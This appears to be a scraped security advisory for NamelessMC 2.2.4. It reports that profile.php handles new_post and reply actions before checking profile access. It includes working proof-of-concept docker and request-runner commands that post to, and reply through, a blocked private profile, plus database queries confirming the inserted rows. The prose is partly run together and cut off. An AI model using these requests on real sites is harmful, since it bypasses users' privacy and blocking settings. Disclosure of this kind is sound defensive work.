docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
--method=POST \
--uri='/profile/victim/' \
--session-id='mprof1' \
--session-json='{"2user":"memberhash1234567890abcdef","2token":"tokmember"}' \
--post-json='{"action":"new_post","post":"Bypass new_post on blocked private profile","token":"tokmember"}'
docker exec nameless-224-db-1 mariadb -unameless -pnameless -D nameless \
-e "SELECT id,user_id,author_id,content FROM nl2_user_profile_wall_posts WHERE user_id = 4 ORDER BY id DESC LIMIT 5;"
12 4 3 Bypass new_post on blocked private profile
docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
--method=POST \
--uri='/profile/victim/' \
--session-id='mprof3' \
--session-json='{"2user":"memberhash1234567890abcdef","2token":"tokmember"}' \
--post-json='{"action":"reply","post":"11","reply":"Cross-profile reply via blocked victim URL","token":"tokmember"}'
docker exec nameless-224-db-1 mariadb -unameless -pnameless -D nameless \
-e "SELECT id,post_id,author_id,content FROM nl2_user_profile_wall_posts_replies WHERE post_id = 11 ORDER BY id DESC LIMIT 5;"
1 11 3 Cross-profile reply via blocked victim URL
Summary
[modules/Core/pages/profile.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Core/pages/profile.php)processesnew_postandreplybefore it decides whether the viewer is allowed to access the profile (CAN_VIEW). As a result, any user withprofile.postcan submit content to private or blocking profiles. The reply branch only checks whether the target wall post ID exists and does not verify that the wall post belongs to the current profile page.Impact
Preconditions
membervictimwithprivate_profile=1victimhas blockedmemberid=10id=11PoC A: Post directly to a blocked/private profile
Observed response:
{ "status": 302 }Database confirmation:
Observed row:
PoC B: Reply to an unrelated wall post through a blocked victim profile URL
Database confirmation:
Observed row:
Remediation
new_postorreplyhandling